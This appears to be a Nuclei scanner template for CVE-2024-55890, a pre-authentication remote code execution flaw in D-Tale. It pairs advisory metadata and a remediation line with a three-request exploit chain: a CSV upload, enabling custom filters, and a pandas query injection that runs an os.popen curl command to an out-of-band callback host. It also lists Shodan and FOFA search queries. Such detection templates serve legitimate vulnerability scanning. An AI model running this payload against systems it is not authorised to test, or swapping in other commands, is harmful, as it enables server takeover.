id: CVE-2024-55890 info: name: D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection author: 0x_Akoko severity: critical description: | D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly. impact: | Attackers can execute arbitrary code on the server, potentially leading to full system compromise. remediation: | Upgrade to version 3.16.1 where the `update-settings` endpoint blocks `enable_custom_filters` updates. reference: - https://github.com/man-group/dtale/security/advisories/GHSA-qx2x-gvj9-gxw2 - https://nvd.nist.gov/vuln/detail/CVE-2024-55890 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-55890 epss-score: 0.02303 epss-percentile: 0.82106 cwe-id: CWE-95 cpe: cpe:2.3:a:man:dtale:*:*:*:*:*:*:*:* metadata: max-request: 2 verified: true vendor: man-group product: dtale shodan-query: http.html:"D-Tale" fofa-query: body="D-Tale" tags: cve,cve2024,dtale,rce,oast,vkev flow: http(1) && http(2) && http(3) http: - raw: - | POST /dtale/upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----DTaleBoundary55890 Accept: application/json Connection: close ------DTaleBoundary55890 Content-Disposition: form-data; name="poc.csv"; filename="poc.csv" Content-Type: text/csv a,b 1,1 ------DTaleBoundary55890 Content-Disposition: form-data; name="header" true ------DTaleBoundary55890 Content-Disposition: form-data; name="separatorType" comma ------DTaleBoundary55890-- matchers: - type: word part: body words: - '"data_id"' internal: true extractors: - type: json name: data_id part: body json: - ".data_id" internal: true - raw: - | GET /dtale/update-settings/{{data_id}}?settings=%7B%22enable_custom_filters%22%3Atrue%7D HTTP/1.1 Host: {{Hostname}} Accept: application/json Connection: close matchers: - type: word part: body words: - '"success"' internal: true - raw: - | GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__%28%27os%27%29.popen%28%27curl+-m+5+-s+http%3A%2F%2F{{interactsh-url}}%27%29.read%28%29&save=true HTTP/1.1 Host: {{Hostname}} Accept: application/json Connection: close matchers: - type: dsl dsl: - 'contains(interactsh_protocol, "http")' - 'contains(interactsh_request, "curl")' condition: and # digest: 4a0a00473045022100d6b1dcd50529ac7e2e28ea76bcfe20d9d9b26738eaa82931edd834096bb5e7ac02202f523c83471947da00d8d833f80461d29a5b568d7d8eb7ac17dc49c14146f4cd:922c64590222798bb761d5b6d8e72950